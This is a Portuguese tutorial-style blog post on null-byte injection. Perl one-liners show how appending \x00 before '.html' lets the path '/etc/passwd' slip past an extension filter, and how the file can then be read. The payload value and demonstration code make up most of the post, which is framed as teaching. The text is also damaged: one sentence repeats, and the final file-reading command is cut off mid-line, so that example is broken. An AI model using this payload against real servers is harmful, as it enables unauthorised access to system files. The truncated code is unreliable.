Em muitos ataques em que a URL é manipulada de forma a extrair informações de um servidor vemos o uso do Null-byte (um Zero que pode ser codificado como "% 00") no final da URL. Esta técnica é usada para burlar possíveis filtros de conteúdo web.
A maioria das linguagens de programação usa o NULL para representar nada ou um valor vazio, veja abaixo como a linguagem Perl não retorna nada utilizando o byte Null:
$perl -e 'print "\x6f\x73\x76\x61\x6c\x64\x6f\x68\x70"'
osvaldohp
Veja que o valor em hexa (\x6f\x73\x76\x61\x6c\x64\x6f\x68\x70) tem como valor a palavra osvaldohp, vamos adicionar o byte NULL em hexa (\x00) para ver se ocorre algum erro:
$perl -e 'print "\x6f\x73\x76\x61\x6c\x64\x6f\x68\x70\x00"'
osvaldohp
Pronto, o resultado é o mesmo. Vimos que a linguagem Perl aceita o uso de byte Null.
Um desenvolvedor WEB poderá criar um filtro bloqueando a execução de qualquer arquivo que não termine com ".html". No comando abaixo estaremos simulando a seguinte URL http://site_vulneravel/page.cgi?s=/etc/passwd:
$perl -e '$s = "/etc/passwd"; if ($s =~ m/\.html$/) { print "Passa" } else { print "Negar" }'
Negar
Veja que a resposta foi Negar, isso ocorre porque o arquivo requisitado (/etc/passwd) não termina com .html como diz nosso filtro ($s =~ m/\.html$/). Vamos tentar enganar o filtro:
$perl -e '$s = "/etc/passwd\x00.html"; if ($s =~ m/\.html$/) { print "Passa" } else { print "Negar" }'
Passa
Pronto, enganamos o filtro e obtivemos o Passa.
Pronto, enganamos o filtro e obtivemos o Passa.
Segunda maneira de testar:
$perl -e '$s = "/etc/passwd\x00.html"; print $s; open(FH,"<$s"); while(
Com o comando acima podemos ler o arquivo (/etc/passwd) mesmo que no comando o nome de arquivo seja /etc/passwd\x00.html, que é um aquivo que não existe no sistema, mas neste caso veja que usamos o byte Null.
Bom Proveito.
Ótimo post
ResponderExcluir